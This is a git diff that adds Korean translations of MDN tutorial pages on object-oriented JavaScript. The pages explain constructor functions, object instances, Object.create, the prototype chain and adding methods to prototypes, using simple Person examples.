 이 글에서, 당신의 프로그램에서 JSON을 어떻게 생성하고 구성 요소를 파악할 수 있는지, 그리고 JSON 안에 묶여 있는 자료들에 어떻게 접근하는 방법을 포함한 JSON을 사용하기 위한 간단한 가이드를 제공했습니다. 다음 글에서는, 객체 지향적인 JavaScript에 대해 시작해 볼 것입니다.

+ +

참고

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}

+ +

다음 단계

+ + diff --git a/files/ko/learn/javascript/objects/object-oriented_js/index.html b/files/ko/learn/javascript/objects/object-oriented_js/index.html new file mode 100644 index 0000000000..df1bf59c17 --- /dev/null +++ b/files/ko/learn/javascript/objects/object-oriented_js/index.html @@ -0,0 +1,287 @@ +--- +title: Object-oriented JavaScript for beginners +slug: Learn/JavaScript/Objects/Object-oriented_JS +tags: + - Article + - Beginner + - CodingScripting + - JavaScript + - Learn + - 'l10n:priority' +translation_of: Learn/JavaScript/Objects/Object-oriented_JS +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}
+ +

자, 이제 기초 단계를 벗어나서,객체지향 JavaScript (OOJS) 을 보도록 하죠 — 이 문서에서 객체지향 (OOP) 이론에 대한 기초를 훑어본 후, 자바스크립트가 생성자와 함수를 통해 객체 클래스 개념을 따라했는지, 그리고 어떻게 객체를 만드는지 알아볼겁니다.

+ + + + + + + + + + + + +
선수조건:컴퓨터 기본지식, HTML과 CSS에 대한 기본적인 이해,자바스크립트에 어느 정도 익숙할 것 (see First steps and Building blocks).  OOJS 기초 지식 (see Introduction to objects).
학습목표:객체지향에 대한 기본 지식을 습득 하고, 객체 지향이 자바스크립트에 어떻게 적용되었는지 ( "모든 것은 객체다") 와 어떻게 생성자와 객체 인스턴스를 만드는지에 대해 이해한다.
+ +

객체지향 프로그래밍 — 기초

+ +

객체지향 프로그래밍(OOP)의 개요를 설명하는 것으로 시작하겠습니다. 지금 단계에서 OOP의 모든 것을 설명면 너무 복잡해서 혼란만을 가중시킬 것이기 때문에 최대한 간단히 설명하겠습니다. OOP의 기본 컨셉은 프로그램 내에서 표현하고자 하는 실 세계(real world)의 일들을 객체를 사용해서 모델링 하고, 객체를 사용하지 않으면 불가능 혹은 무지 어려웠을 일들을 쉽게 처리하는 방법을 제공한다는 것입니다.

+ +

객체는 당신이 모델링하고자 하고자 하는 일이나 기능 혹은 필요한 행동들을 표현하는 프로그램 코드와 그와 연관된 데이터로 구성됩니다. 객체는 데이터(그리고, 함수 역시)를 감싸서 ,(공식적인 표현으로는 encapsulate) 객체 패키지(해당 객체를 참조하기 위한 이름. namespace 라고도 불리죠)안에 보관합니다. 이는 계층 구조를 만드는데 용이하고 사용하기에도 쉽게 하기 위해서죠; 또한, 객체는 네트워크를 통해 쉽게 전송될 수 있도록 데이터를 저장하는 용도로도 많이 사용됩니다.

+ +

객체 템플릿 정의

+ +

자, 학교의 선생님과 학생들의 정보를 보여주는 간단한 프로그램이 있다고 칩시다. 여기서는 OOP의 일반적인 개념만을 살펴볼 뿐이지, 특정 언어에 국한된 내용을 이야기하지는 않을겁니다.

+ +

시작해보자면, first objects article 에서 배웠던 Person 객체로 돌아가봅시다. 거기서 "사람"에 대한 기초적인 데이터와 기능을 정의했었죠. "사람"을 구별할 수 있는 특징은 많습니다 (그들의 주소, 키,신발사이즈, DNA 프로필, 여권번호, 중요한 개인적 자실 등 ...) ,하지만 이 예제에서는 오직 이름, 나이, 성별 그리고 취미만을 다룰겁니다. 여기에 더불어 이 데이터를 기반으로 각 개인에 대한 간단한 소개말과 인사말을 표시할 수 있도록 할 겁니다 . 이런 과정을 추상화 — 프로그래머의 의도에 맞추어 가장 중요한 것들만을 뽑아서 복잡한 것들을  보다 단순한 모델로 변환하는 작업 - 라고 합니다.

+ +

실제 객체 생성

+ +

객체 인스턴스는 클래스를 통해서 만들 수 있습니다.— 객체는 클래스에 정의된 데이터와 함수를 갖습니다. Person클래스를 통해서, 실제 '사람' 객체를 생성할 수 있습니다.:

+ +

+ +

클래스로부터 객체의 인스턴스가 생성될 때는 클래스의 생성자 함수 가 호출됩니다.클래스에서 객체 인스턴스가 생성되는 일련의 과정을 인스턴스화(instantiation)라고 합니다 — 객체의 인스턴스는 클래스를 통해 만들어집니다.

+ +

특별한 클래스

+ +

자, 이번에는 일반적인 사람이 아니라 — 일반적인 사람보다 세분화된 선생님과 학생들이 필요합니다.  OOP 에서는,특정 클래스를 기반으로 새로운 클래스를 만들 수 있습니다 — child 클래스 는 부모 클래스 상속 받아서 만들어집니다. child 클래스는 상속을 통해 부모 클래스에 정의된 데이터와 함수를 고스란히 사용할 수 있습니다. 클래스마다 기능이 달라지는 부분이 있다면, 직접 해당 클래스에 원하는 기능을 정의할 수 있습니다.

+ +

+ +

이것은 매우 유용합니다. 이름,성별,나이 등과 같이 선생님과 학생이 공유하는 많은 공통적인 특징들을 한번만 정의해도 되기 때문이죠. 또한 서로 다른 클래스에 같은 기능을 따로 정의할 수도 있습니다. 정의된 각각의 기능은 서로 다른 namespace에 존재하기 때문입니다. 예를 들어, 학생의 인사는 "안녕, 난 [이름]이야." 와 같은 형식이 될 것입니다. (ex) 안녕, 난 샘이야.) 반면 선생님은 "안녕하세요, 제 이름은 [성] [이름]이고 [과목명]을 담당하고 있습니다." 와 같이 좀 더 격식있는 형식을 사용할 것입니다. (ex) 안녕하세요, 제 이름은 데이브 그리피스이고 화학을 담당하고 있습니다.)

+ +
+

노트: 혹시 궁금해 하실까봐 말씀드리면, 여러 객체 타입에 같은 기능을 정의할 수 있는 능력을 멋진 용어로 "다형성(polymorphism)" 이라고 합니다.

+
+ +

이제 자식 클래스들로부터 객체 인스턴스를 만들 수 있습니다. 예를 들면 :

+ +

+ +

다음 부분에선, 어떻게 객체지향 프로그래밍 이론이 자바스크립트에 실제로 적용될 수 있는지 살펴보겠습니다.

+ +

생성자와 객체 인스턴스

+ +

자바스크립트는 객체와 그 기능을 정의하기 위해 생성자 함수라고 불리는 특별한 함수를 사용합니다. 이는 보통 우리가 얼마나 많은 객체들을 생성해야 할지 모르기 때문에 유용합니다. 생성자는 효율적으로 필요한 만큼 객체를 생성하고, 데이터와 함수들을 설정하는 방법을 제공합니다.

+ +

생성자로부터 새로운 객체 인스턴스가 생성되면, 객체의 핵심 기능 (프로토타입에 의해 정의됩니다. Object prototypes 글에서 자세히 다룰 것입니다.)이 프로토타입 체인에 의해 연결됩니다.

+ +

자바스크립트에서 생성자를 이용해 클래스를 만들고, 클래스에서 객체 인스턴스를 만드는 방법을 알아봅시다. 가장 먼저, 첫 객체 글에서 보았던 oojs.html 파일을 로컬에 새로 복사하십시오.

+ +

간단한 예제

+ +
    +
  1. 어떻게 일반적인 함수를 이용해 한 사람을 정의할 수 있는지부터 보겠습니다. 이 함수를 script 태그 안에 추가하세요: + +
    function createNewPerson(name) {
    +  var obj = {};
    +  obj.name = name;
    +  obj.greeting = function() {
    +    alert('Hi! I\'m ' + this.name + '.');
    +  };
    +  return obj;
    +}
    +
  2. +
  3. 이제 이 함수를 호출하여 새로운 사람을 만들 수 있습니다. 브라우저의 자바스크립트 콘솔을 열어 다음 코드를 입력해보세요: +
    var salva = createNewPerson('Salva');
    +salva.name;
    +salva.greeting();
    + 이것은 잘 작동하지만, 썩 깔끔하진 않습니다. 객체를 만들기를 원하는데, 왜 굳이 빈 객체를 만들고 내용을 채워 리턴해야 할까요? 다행스럽게도 자바스크립트는 생성자 함수의 형태로 간단한 단축 명령을 제공합니다. 하나 만들어 보도록 하죠!
  4. +
  5. 이전의 createNewPerson 함수를 다음의 코드로 교체하세요: +
    function Person(name) {
    +  this.name = name;
    +  this.greeting = function() {
    +    alert('Hi! I\'m ' + this.name + '.');
    +  };
    +}
    +
  6. +
+ +

생성자 함수는 클래스의 자바스크립트 버전입니다. 이 함수가 함수가 가질 것 같은 모든 특징을 가지고 있지만, 아무것도 리턴하지 않고 객체를 만들지도 않는다는 것을 깨달으셨나요? 생성자 함수는 단순히 프로퍼티와 메소드를 정의합니다. 또 이를 정의할 때 this 라는 키워드가 사용되고 있는 것을 보실 수 있습니다. 이것은 객체 인스턴스가 생성될 때마다, 객체의 name 프로퍼티가 생성자 함수 호출에서 전달된 name 값과 같아질 것이라고 말하고 있습니다. 그리고 greeting() 메소드 역시 생성자에서 전달된 name 값을 사용할 것입니다.

+ +
+

노트: 관습적으로, 생성자 함수명은 대문자로 시작하게 합니다. 이 규칙은 생성자 함수가 코드 안에서 잘 구별되도록 해줍니다.

+
+ +

그래서 어떻게 생성자 함수를 호출하여 객체들을 만들까요?

+ +
    +
  1. 이전 코드 아래에 다음 코드들을 추가하세요: +
    var person1 = new Person('Bob');
    +var person2 = new Person('Sarah');
    +
  2. +
  3. +

    코드를 저장하고 브라우저를 새로고침합니다. 자바스크립트 콘솔에 다음 코드를 입력해보세요:

    +
  4. +
  5. +
    person1.name
    +person1.greeting()
    +person2.name
    +person2.greeting()
    +
  6. +
+ +

멋지군요! 이제 두 객체가 페이지에 생성된 것이 보입니다. 각각은 서로 다른 namespace에 저장되어있습니다. 객체의 프로퍼티와 메소드들을 사용하려면, person1 또는 person2로부터 호출하여야 합니다. 두 객체의 기능은 따로 패키징되어 서로 충돌하지 않을 것입니다. 그리고 두 Person 객체는 각각 고유의 name 프로퍼티와 greeting() 메소드를 사용할 수 있습니다. 이 둘이 생성될 때 부여받은 자신의 name 값을 사용한다는 것에 주목하십시오. 이것이 this를 사용하는 매우 중요한 이유 중 하나입니다. 객체들은 다른 값이 아니라, 그들이 가진 고유의 값을 사용합니다.

+ +

생성자 호출을 다시 봅시다:

+ +
var person1 = new Person('Bob');
+var person2 = new Person('Sarah');
+ +

각각의 경우, new 키워드가 브라우저에게 우리가 새로운 객체 인스턴스를 만들고 싶어한다는 것을 알려줍니다. 괄호로 감싸진 매개변수들과 함께 생성자 이름을 호출하고, 결과는 변수에 담겨집니다. 일반적인 함수가 호출되는 방식과 매우 유사하죠. 각각의 인스턴스는 다음 정의에 따라 생성됩니다.

+ +
function Person(name) {
+  this.name = name;
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+}
+ +

새 객체가 생성된 이후, person1person2 변수는 다음 객체들을 가지게 됩니다.

+ +
{
+  name: 'Bob',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+
+{
+  name: 'Sarah',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+ +

우리가 생성자 함수를 호출할 때마다 매번 greeting() 함수를 다시 정의하는 것이 보입니다. 최선의 방법은 아니죠. 이를 피하기 위해, 우리는 prototype에 함수를 정의합니다. 이를 차후에 다시 살펴보겠습니다.

+ +

생성자 완성시키기

+ +

위에서 살펴본 예제는 시작에 불과합니다. 최종적인 Person() 생성자를 만들어봅시다.

+ +
    +
  1. 여태 작성한 코드를 지우고 아래의 생성자로 대체하세요. 원리는 이전의 예제와 똑같으며, 약간 더 복잡할 뿐입니다: +
    function Person(first, last, age, gender, interests) {
    +  this.name = {
    +    'first': first,
    +    'last' : last
    +  };
    +  this.age = age;
    +  this.gender = gender;
    +  this.interests = interests;
    +  this.bio = function() {
    +    alert(this.name.first + ' ' + this.name.last + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
    +  };
    +  this.greeting = function() {
    +    alert('Hi! I\'m ' + this.name.first + '.');
    +  };
    +}
    +
  2. +
  3. 이제 생성자로 객체 인스턴스를 만들기 위해, 아래에 이 코드를 추가하세요: +
    var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);
    +
  4. +
+ +

이제 이전에 해보았듯이, 브라우저의 자바스크립트 콘솔에서 프로퍼티와 메소드를 사용할 수 있습니다:

+ +
person1['age']
+person1.interests[1]
+person1.bio()
+// etc.
+ +
+

노트: 만약 실행에 문제가 생긴다면, 저희가 준비한 코드와 비교해보세요. oojs-class-finished.html (또한 실제로 실행되는 모습을 보세요).

+
+ +

추가 예제

+ +

이를 시작하기 위해서, 몇 개의 객체를 더 생성하는 코드를 추가해보세요. 그리고 생성된 객체 인스턴스의 멤버들을 사용하거나 바꿔보세요.

+ +

더 나아가, 우리의 bio() 메소드엔 몇 가지 문제점이 있습니다. 먼저 결과가 항상 대명사 "He"를 포함한다는 점입니다. 생성된 사람이 여성이거나 다른 성별 분류를 가질지라도 말이죠. 그리고 interests 배열에 몇 개가 포함되어 있더라도 bio는 2개의 취미만을 출력합니다. 클래스 정의 (생성자)에서 이를 해결할 방법이 있을까요? 자유롭게 생성자를 수정해보세요. (약간의 조건문과 반복문이 필요할지도 모르겠습니다). 어떻게 성별에 따라, 혹은 취미의 개수에 따라 문장이 다르게 구성되어야할지 생각해보세요 .

+ +
+

노트: 하다가 막힌다면, 저희가 제공하는 GitHub 저장소의 모법 답안 (그리고 실행 버전)을 참고하세요. 하지만 일단 직접 해보시죠!

+
+ +

객체 인스턴스를 생성하는 다른 방법들

+ +

여태까지 객체 인스턴스를 만드는 두 가지 방법을 살펴보았습니다. 객체 리터럴을 선언하는 방법과, 생성자 함수를 사용하는 방법(위를 보세요)이죠.

+ +

이것들은 잘 동작하지만, 다른 방법들도 있습니다. 웹에서 정보를 찾다가 마주칠 경우를 대비해 익숙해져보는 것도 좋을 것 같습니다.

+ +

Object() 생성자

+ +

첫번째로, 새 객체를 만들기 위해 Object() 생성자를 사용할 수 있습니다. 네, 최초의 object 역시 생성자를 가지고 있습니다. 빈 객체를 생성하는 함수이죠.

+ +
    +
  1. 브라우저의 자바스크립트 콘솔에 아래 코드를 입력해보세요: +
    var person1 = new Object();
    +
  2. +
  3. 이는 빈 객체를 person1 변수에 담습니다. 이제 이 객체에 점 표기법이나 괄호 표기법을 이용해 프로퍼티와 메소드들을 추가할 수 있습니다. 이 예제 코드를 콘솔 창에 입력해보세요. +
    person1.name = 'Chris';
    +person1['age'] = 38;
    +person1.greeting = function() {
    +  alert('Hi! I\'m ' + this.name + '.');
    +};
    +
  4. +
  5. 사전에 프로퍼티와 메소드를 정의하기 위해, Object() 생성자의 파라미터로 객체 리터럴을 전달할 수도 있습니다. 이 예제 코드를 콘솔 창에 입력해보세요. +
    var person1 = new Object({
    +  name: 'Chris',
    +  age: 38,
    +  greeting: function() {
    +    alert('Hi! I\'m ' + this.name + '.');
    +  }
    +});
    +
  6. +
+ +

create() 함수 사용

+ +

생성자는 여러분의 코드에 규칙을 부여해줍니다. 일단 생성자를 만들어두면, 이를 이용해 원하는대로 인스턴스를 생성할 수 있고, 이 인스턴스가 어디서 유래했는지 명백합니다.

+ +

하지만 몇몇 사람들은 객체 인스턴스들을 생성할 때 먼저 생성자를 만들기를 원하지 않습니다. 특히 그들이 적은 수의 객체만을 생성할 때 말이죠. 자바스크립트는 create()라는 내장함수를 가지고 있어 이를 가능하게 해줍니다. 이를 이용하면, 이미 존재하는 객체를 이용해 새로운 객체를 만들 수 있습니다.

+ +
    +
  1. 이전 섹션에서 완료한 예제를 브라우저에서 열어, 아래 코드를 콘솔창에 입력해보세요. +
    var person2 = Object.create(person1);
    +
  2. +
  3. 이제 이 코드를 입력해보세요. +
    person2.name
    +person2.greeting()
    +
  4. +
+ +

person2person1을 기반으로 만들어졌습니다. 새 객체는 원 객체와 같은 프로퍼티와 메소드들을 가집니다. 

+ +

create() 함수의 한 가지 단점은 익스플로러 8에서는 지원하지 않는다는 점입니다. 따라서 오래된 브라우저들까지 지원하고 싶다면 생성자를 사용하는 것이 효과적입니다.

+ +

다음에 create() 함수의 효과에 대해 더 살펴보겠습니다.

+ +

요약

+ +

이 글은 객체지향 이론을 요약하여 설명해줍니다. 모든 부분을 다루지는 않지만, 지금 어떤 것들을 다루고 있는지에 대한 아이디어 정도는 얻을 수 있습니다. 게다가 객체 인스턴스를 생성하는 여러가지 방법에 대해서도 알아보기 시작했습니다.

+ +

다음 글에서는 자바스크립트 객체 프로토타입에 대해 탐험해보겠습니다.

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/javascript/objects/object_prototypes/index.html b/files/ko/learn/javascript/objects/object_prototypes/index.html new file mode 100644 index 0000000000..f2eaf03498 --- /dev/null +++ b/files/ko/learn/javascript/objects/object_prototypes/index.html @@ -0,0 +1,274 @@ +--- +title: Object prototypes +slug: Learn/JavaScript/Objects/Object_prototypes +tags: + - 객체 지향 + - 상속 + - 자바스크립트 + - 프로토타입 +translation_of: Learn/JavaScript/Objects/Object_prototypes +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}
+ +

Javascript에서는 객체를 상속하기 위하여 프로토타입이라는 방식을 사용합니다. 본 문서에서는 프로토타입 체인이 동작하는 방식을 설명하고 이미 존재하는 생성자에 메소드를 추가하기 위해 프로토타입 속성을 사용하는 법을 알아봅니다.

+ + + + + + + + + + + + +
선수조건:컴퓨터 기본지식, HTML과 CSS에 대한 기본적인 이해,자바스크립트에 어느 정도 익숙할 것 (see First steps and Building blocks).  OOJS 기초 지식 (see Introduction to objects).
학습목표:Javascript 객체 프로토타입을 이해하고 프로토타입 체인이 어떻게 동작하는지, 또 프로토타입 속성에 새 메소드를 추가하는 방법을 배웁니다.
+ +

 프로토타입 기반 언어?

+ +

JavaScript는 흔히 프로토타입 기반 언어(prototype-based language)라 불립니다.— 모든 객체들이 메소드와 속성들을 상속 받기 위한 템플릿으로써 프로토타입 객체(prototype object)를 가진다는 의미입니다. 프로토타입 객체도 또 다시 상위 프로토타입 객체로부터 메소드와 속성을 상속 받을 수도 있고 그 상위 프로토타입 객체도 마찬가지입니다. 이를 프로토타입 체인(prototype chain)이라 부르며 다른 객체에 정의된 메소드와 속성을 한 객체에서 사용할 수 있도록 하는 근간입니다.

+ +

정확히 말하자면 상속되는 속성과 메소드들은 각 객체가 아니라 객체의 생성자의 prototype이라는 속성에 정의되어 있습니다.

+ +

JavaScript에서는 객체 인스턴스와 프로토타입 간에 연결(많은 브라우저들이 생성자의 prototype 속성에서 파생된 __proto__ 속성으로 객체 인스턴스에 구현하고 있습니다.)이 구성되며 이 연결을 따라 프로토타입 체인을 타고 올라가며 속성과 메소드를 탐색합니다.

+ +
+

Note: 객체의 prototype(Object.getPrototypeOf(obj)함수 또는 deprecated 된 __proto__속성으로 접근 가능한)과 생성자의 prototype 속성의 차이를 인지하는 것이 중요합니다. 전자는 개별 객체의 속성이며 후자는 생성자의 속성입니다. 이 말은 Object.getPrototypeOf(new Foobar())의 반환값이 Foobar.prototype과 동일한 객체라는 의미입니다.

+
+ +

자세히 알기 위해 예제를 하나 봅시다.

+ +

프로토타입 객체 이해하기

+ +

Person() 생성자를 작성했던 예제 코드로 되돌아가 봅시다. — 브라우저로 예제 코드를 불러 오시구요. 이전 페이지에서 작업했던 예제 코드를 날려버렸다면 oojs-class-further-exercises.html 페이지를 방문해 주세요. (source code도 보시구요).

+ +

이 예제에서 생성자 함수를 정의했었습니다:

+ +
function Person(first, last, age, gender, interests) {
+
+  // 속성과 메소드 정의
+  this.first = first;
+  this.last = last;
+//...
+}
+ +

그리고 인스턴스도 하나 만들었구요:

+ +
var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);
+ +

Javascript 콘솔에서 "person1."을 치게 되면 브라우저는 아래처럼 해당 객체의 멤버 이름을 자동 완성 팝업으로 보여줄 것입니다:

+ +

+ +

위에서 person1의 프로토타입 객체인 Person()에 정의된 멤버들 — name, age, gender, interests, bio, greeting을 볼 수 있습니다. 또한 — watch, valueOf처럼 Person()의 프로토타입 객체인 Object에 정의된 다른 멤버들도 보실 수 있습니다. 이는 프로토타입 체인이 동작한다는 증거입니다.

+ +

+ +

그럼 실제로는 Object에 정의되어 있는 메소드를 person1에서 호출하면 어떻게 될까요?
+ 아래 처럼 말이죠:

+ +
person1.valueOf()
+ +

이 메소드는 호출된 객체의 값을 단순 반환합니다. — 직접 실행해 보세요! 이때 일어나는 일은 아래와 같습니다:

+ + + +
+

Note: 프로토타입 체인에서 한 객체의 메소드와 속성들이 다른 객체로 복사되는 것이 아님을 재차 언급합니다. — 위에서 보시다 시피 체인을 타고 올라가며 접근할 뿐입니다.

+
+ +
+

Note: 특정 객체의 프로토타입 객체에 바로 접근하는 공식적인 방법은 없습니다. — Javascript 언어 표준 스펙에서[[prototype]]으로 표현되는 프로토타입 객체에 대한 "링크"는 내부 속성으로 정의되어 있습니다. ({{glossary("ECMAScript")}} 참조). 하지만 많은 수의 모던 브라우저들이  __proto__ (앞뒤로 언더바 2개씩) 속성을 통해 특정 객체의 프로토타입 객체에 접근할 수 있도록 구현하였습니다. 예를 들자면 person1.__proto__ 또는 person1.__proto__.__proto__ 코드로 체인이 어떻게 구성되어 있는지 확인해 보세요!

+ +

ECMAScript 2015부터는 Object.getPrototypeOf(obj) 함수를 통해 객체의 프로토타입 객체에 바로 접근할 수 있게 되었습니다..

+
+ +

프로토타입 속성: 상속 받은 멤버들이 정의된 곳

+ +

그럼 상속 받은 속성과 메소드들은 어디에 정의되어 있을까요? Object 레퍼런스 페이지에 가시면 좌측에 수 많은 속성과 메소드들이 나열되어 있는 것을 볼 수 있습니다. — 위 스크린샷에서 person1가 상속받은 멤버들보다 훨씬 많죠. 일부는 상속 되었지만 나머지는 아닙니다. — 왜일까요?

+ +

정답은 상속 받는 멤버들은 prototype 속성(sub-namespace라고도 하죠)에 정의되어 있기 때문입니다. — Object.로 시작하는게 아니라, Object.prototype.로 시작하는 것들이죠. prototype 속성도 하나의 객체이며 프로토타입 체인을 통해 상속하고자 하는 속성과 메소드를 담아두는 버킷으로 주로 사용되는 객체입니다.

+ +

So Object.prototype.watch(), Object.prototype.valueOf()등등은, 생성자를 통해 새로 생성되는 인스턴스는 물론 Object.prototype을 상속 받는 객체라면 어떤 객체에서든지 접근할 수 있습니다.

+ +

Object.is(), Object.keys()등 prototype 버킷에 정의되지 않은 멤버들은 상속되지 않습니다. 이 것들은 Object() 생성자에서만 사용할 수 있는 멤버들이죠.

+ +
+

Note: 척 보기엔 이상합니다. — 함수에 불과한 생성자에 멤버를 정의한다니요? 함수 역시 객체의 하나입니다 — 못 미더우시면 Function() 생성자 레퍼런스 페이지를 확인해 보세요.

+
+ +
    +
  1. prototype 속성을 직접 확인해 볼 수 있습니다. — 예제로 돌아가서 Javascript console에 아래 코드를 타이핑 해 보세요: +
    Person.prototype
    +
  2. +
  3. 출력되는 것이 별로 많지 않을 겁니다 — 아직 이 커스텀 생성자 프로토타입에 아무것도 정의하지 않았거든요! 기본적으로 생성자의 프로토타입은 비어있습니다. 이번에는 아래 코드를 실행해 봅시다: +
    Object.prototype
    +
  4. +
+ +

위의 예제에서 확인했듯이 Object를 상속받은 객체에서 사용 가능한 수 많은 메소드들이 Objectprototype 속성에 정의되어 있음을 알 수 있습니다.

+ +

Javascript 전반에 걸쳐 프로토타입 체인 상속이 어떻게 구성되어 있는지 확인할 수 있습니다 — 전역 객체인 String, Date, NumberArray의 프로토타입에 정의된 메소드와 속성들을 체크해 보세요. 이 프로토타입 객체들에는 이미 많은 수의 메소드가 정의되어 있으며 이는 아래처럼 문자열 객체를 생성 했을 때:

+ +
var myString = 'This is my string.';
+ +

myString 인스턴스가 생성되는 즉시 split(), indexOf(), replace()등의 문자열을 위한 유용한 메소드들을 사용할 수 있는 이유입니다.

+ +
+

Important: prototype 속성은 Javascript에서 가장 헷갈리는 명칭중 하나입니다. — 보통 this가 현재 객체의 프로토타입 객체를 가리킬 것이라 오해하지만 그렇지 않죠. (프로토타입 객체는 __proto__ 속성으로 접근 가능한 내장 객체인 것 기억 하시나요?). 대신에 prototype 속성은 상속 시키려는 멤버들이 정의된 객체를 가리킵니다.

+
+ +

create() 다시보기

+ +

이전에 새 인스턴스를 생성하기 위해서 Object.create() 메소드를 사용하는 법을 알아 보았습니다.

+ +
    +
  1. 예를 들어서 이전 예제에서 아래 코드를 Javascript console에서 실행했었다면: +
    var person2 = Object.create(person1);
    +
  2. +
  3. create() 메소드가 실제로 하는 일은 주어진 객체를 프로토타입 객체로 삼아 새로운 객체를 생성합니다. 여기서 person2는 person1을 프로토타입 객체로 삼습니다. 아래 코드를 실행하여 이를 확인할 수 있습니다: +
    person2.__proto__
    +
  4. +
+ +

콘솔 상에는 person1이 출력됩니다.

+ +

생성자 속성

+ +

모든 생성자 함수는 constructor 속성을 지닌 객체를 프로토타입 객체로 가지고 있습니다. 이 constructor 속성은 원본 생성자 함수 자신을 가리키고 있습니다. 다음 장에서 볼 수 있듯이 Person.prototype 속성(또는 위 절에서 언급된 아무 생성자 함수의 prototype 속성)에 정의된 속성들은 Person() 생성자로 생성된 모든 인스턴스에서 사용할 수 있습니다. 그러므로 person1과 person2에서도 constructor 속성에 접근할 수 있습니다.

+ +
    +
  1. 예를 들어 아래 코드를 콘솔에서 실행해 보세요: +
    person1.constructor
    +person2.constructor
    + +

    두 구문 모두 Person() 생성자 함수를 반환할 것입니다.

    + +

    constructor 속성에 괄호를 붙이고 실행하여(인자가 필요하면 전달하구요) 새 인스턴스를 생성하는 트릭이 있습니다. 어쨌든 생성자도 함수의 일종이므로 괄호를 붙이면 실행할 수 있습니다; new 키워드를 통해 실행하면 함수를 인스턴스를 생성하기 위한 생성자로 사용할 수 있죠.

    +
  2. +
  3. 아래 코드를 실행해 보세요: +
    var person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);
    +
  4. +
  5. 새로 생성된 객체를 테스트 해보세요, 아래처럼요: +
    person3.name.first
    +person3.age
    +person3.bio()
    +
  6. +
+ +

잘 동작함을 알 수 있습니다. 이런 방식을 자주 사용할 필요는 없지만 실행 도중 명시적인 생성자 함수를 예측할 수 없는 상황에서 인스턴스를 생성해야 하거나 하는 경우 유용하게 사용할 수 있는 방법입니다.

+ +

constructor 속성은 여러 사용법이 있습니다. 예를 들어 인스턴스의 생성자 이름이 필요한 경우 아래의 코드로 알아낼 수 있습니다:

+ +
instanceName.constructor.name
+ +

아래 코드도 시험해 보세요:

+ +
person1.constructor.name
+
+ +
+

Note: constructor.name 는 변경이 가능하므로(상속이나 바인딩, 전처리, 트랜스파일러 등에 의해) 복잡한 로직에 적용하기 위해서는 instanceof 연산자를 사용하세요.

+
+ +
    +
+ +

프로토타입 수정하기

+ +

생성자의 prototype 속성을 수정하는 법에 대해 알아봅시다(프로토타입에 메소드를 추가하면 해당 생성자로 생성된 모든 객체에서 사용 가능합니다).

+ +
    +
  1. oojs-class-further-exercises.html 예제로 돌아가서 source code를 다운 받으세요. 기존 코드에 아래 샘플 코드를 추가하여 prototype 속성에 새 메소드를 추가하세요: + +
    Person.prototype.farewell = function() {
    +  alert(this.name.first + ' has left the building. Bye for now!');
    +};
    +
  2. +
  3. 저장한 코드를 브라우저로 실행하고 콘솔에서 아래 코드를 실행해 보세요. +
    person1.farewell();
    +
  4. +
+ +

생성자에서 지정했던 person의 name이 alert 창으로 출력되는 것을 확인할 수 있습니다. 매우 유용한 기능이지만 중요한 점은 prototype에 새 메소드를 추가하는 순간 동일한 생성자로 생성된 모든 객체에서 추가된 메소드를 바로 사용할 수 있다는 점입니다.

+ +

잠시 정리해 봅시다. 예제에서는 생성자를 정의하고, 객체를 생성하였으며, 그 이후에 프로토타입에 새 메소드를 추가하였습니다:

+ +
function Person(first, last, age, gender, interests) {
+
+  // 속성과 메소드 정의
+
+}
+
+var person1 = new Person('Tammi', 'Smith', 32, 'neutral', ['music', 'skiing', 'kickboxing']);
+
+Person.prototype.farewell = function() {
+  alert(this.name.first + ' has left the building. Bye for now!');
+};
+ +

그런데도 person1에서 바로 farewell() 메소드를 사용할 수 있습니다 - 자동으로 업데이트 되기 때문이죠(역주:원문은 이런 뉘앙스입니다만 실제로는 프로토타입 객체는 모든 인스턴스에서 공유하기 때문에 정의하는 즉시 별도의 갱신 과정 없이 접근이 가능합니다).

+ +
+

Note: 코드가 잘 동작하지 않는다면 oojs-class-prototype.html 코드를 참조하세요 (running live 페이지도 보시구요).

+
+ +

prototype에 속성을 정의하는 경우는 별로 본 적이 없을겁니다. 왜냐면 별로 좋은 방법이 아니거든요. 속성을 추가할 때 아래와 같이 할 수 있습니다:

+ +
Person.prototype.fullName = 'Bob Smith';
+ +

사람들이 항상 밥 스미스로 부르지 않을 수 있으니 별로 좋은 방법 같지는 않아 보입니다. fullnamename.firstname.last로 나누어 보죠:

+ +
Person.prototype.fullName = this.name.first + ' ' + this.name.last;
+ +

이 경우 this는 함수 범위가 아닌 전역 범위를 가리키므로 코드가 의도대로 동작하지 않습니다. 이대로 실행해도 undefined undefined만 볼 수 있죠. 윗 절에서 프로토타입에 정의한 메소드 내에서는 정상적으로 동작하는데 이는 코드가 함수 범위 내에 있으며 객체의 멤버 함수로써 동작하기에 객체 범위로 전환되었기 때문입니다. 따라서 프로토타입에 상수(한 번 할당하면 변하지 않는 값)를 정의하는 것은 가능하지만 일반적으로 생성자에서 정의하는 것이 낫습니다.

+ +

사실 일반적인 방식으로는 속성은 생성자에서, 메소드는 프로토타입에서 정의합니다. 생성자에는 속성에 대한 정의만 있으며 메소드는 별도의 블럭으로 구분할 수 있으니 코드를 읽기가 훨씬 쉬워집니다. 아래처럼요:

+ +
// 생성자에서 속성 정의
+
+function Test(a, b, c, d) {
+  // 속성 정의
+}
+
+// 첫 메소드 정의
+
+Test.prototype.x = function() { ... };
+
